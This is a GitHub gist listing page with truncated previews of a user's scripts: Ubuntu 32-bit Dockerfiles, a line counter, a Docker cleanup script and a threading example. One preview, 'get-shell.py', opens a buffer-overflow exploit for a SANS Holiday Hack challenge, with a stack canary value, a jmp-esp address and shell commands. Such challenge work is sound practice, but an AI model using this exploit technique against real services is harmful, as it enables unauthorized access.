Skip to content

Instantly share code, notes, and snippets.

@fragmede
fragmede / gist:8782876
Created February 3, 2014 12:16
count used c files
#!/usr/bin/env python
import os
headers = 0
c_asm = 0
mf = 0
mod_c = 0
dir_hash = {}
def countlines(filename):
#!/usr/bin/env python
import os
import sys
while True:
try:
filename = raw_input()
except EOFError:
sys.exit(0)
try:
FROM ubuntu:15.04
MAINTAINER samson_gh@onepatchdown.net
# Hello,
# My goal for this was to build overlayfs for 3.10.82 so that overlayroot can
# be used for an Odroid with Ubuntu to have a read-only root. Unfortunately I
# ran out of time. This Dockerfile creates an overlayfs.ko that fails to load
# because the kernel also needs to be updated.
#
# You'll need to actually read this Dockerfile before being able to run it
@fragmede
fragmede / Dockerfile
Last active January 9, 2016 19:24
32-bit Wily Dockerfile
# This Dockerfile originally from https://github.com/tianon/docker-brew-ubuntu-core/blob/d7f2045ad9b08962d9728f6d9910fa252282b85f/wily/Dockerfile
FROM scratch
ADD ubuntu-wily-core-cloudimg-i386-root.tar.gz /
# Download from https://partner-images.canonical.com/core/wily/current/ubuntu-wily-core-cloudimg-i386-root.tar.gz /
# a few minor docker-specific tweaks
# see https://github.com/docker/docker/blob/master/contrib/mkimage/debootstrap
RUN echo '#!/bin/bash' > /usr/sbin/policy-rc.d \
&& echo 'exit 101' >> /usr/sbin/policy-rc.d \
&& chmod +x /usr/sbin/policy-rc.d \
@fragmede
fragmede / Dockerfile
Last active January 9, 2016 19:24
32-bit Vivid Dockerfile
FROM scratch
# Download from https://partner-images.canonical.com/core/vivid/current/ubuntu-vivid-core-cloudimg-i386-root.tar.gz
ADD ubuntu-vivid-core-cloudimg-i386-root.tar.gz /
# a few minor docker-specific tweaks
# see https://github.com/docker/docker/blob/master/contrib/mkimage/debootstrap
RUN echo '#!/bin/sh' > /usr/sbin/policy-rc.d \
&& echo 'exit 101' >> /usr/sbin/policy-rc.d \
&& chmod +x /usr/sbin/policy-rc.d \
\
@fragmede
fragmede / Dockerfile
Last active January 9, 2016 19:25
32-bit Precise Dockerfile
FROM scratch
# Download from https://partner-images.canonical.com/core/precise/current/ubuntu-precise-core-cloudimg-i386-root.tar.gz
ADD ubuntu-precise-core-cloudimg-i386-root.tar.gz /
# a few minor docker-specific tweaks
# see https://github.com/docker/docker/blob/master/contrib/mkimage/debootstrap
RUN echo '#!/bin/sh' > /usr/sbin/policy-rc.d \
&& echo 'exit 101' >> /usr/sbin/policy-rc.d \
&& chmod +x /usr/sbin/policy-rc.d \
\
@fragmede
fragmede / docker-cleanup.sh
Created January 13, 2016 04:02
my script to cleanup stale docker images.
#!/bin/bash
df -h /
docker rm $(docker ps -a -q)
# add -a to 'docker images' for nested but those usually fail.
docker rmi $(docker images | grep "^<none>" | awk '{print $3}' )
df -h /
@fragmede
fragmede / get-shell.py
Last active January 14, 2016 05:48
exploit for SG5 for SANS 2015 Holiday Hack Challenge
from pwn import *
canary = p32(0xe4ffffe4)
jmpesp = p32(0x0804936b)
command = 'whoami; ls; pwd;'
r = remote('localhost', 4242)
r.recv()
r.sendline('X')
@fragmede
fragmede / threader.py
Created August 14, 2016 17:20
basic threading example
import threading
import time
class Continuous(threading.Thread):
def __init__(self):
super(Continuous, self).__init__()
self.die = False
self.info = 0
def run(self):
@fragmede
fragmede / Dockerfile
Last active April 13, 2017 03:51
32-bit Trusty Dockerfile
FROM scratch
# Download from https://partner-images.canonical.com/core/trusty/current/ubuntu-trusty-core-cloudimg-i386-root.tar.gz
ADD ubuntu-trusty-core-cloudimg-i386-root.tar.gz /
# a few minor docker-specific tweaks
# see https://github.com/docker/docker/blob/master/contrib/mkimage/debootstrap
RUN echo '#!/bin/sh' > /usr/sbin/policy-rc.d \
&& echo 'exit 101' >> /usr/sbin/policy-rc.d \
&& chmod +x /usr/sbin/policy-rc.d \
\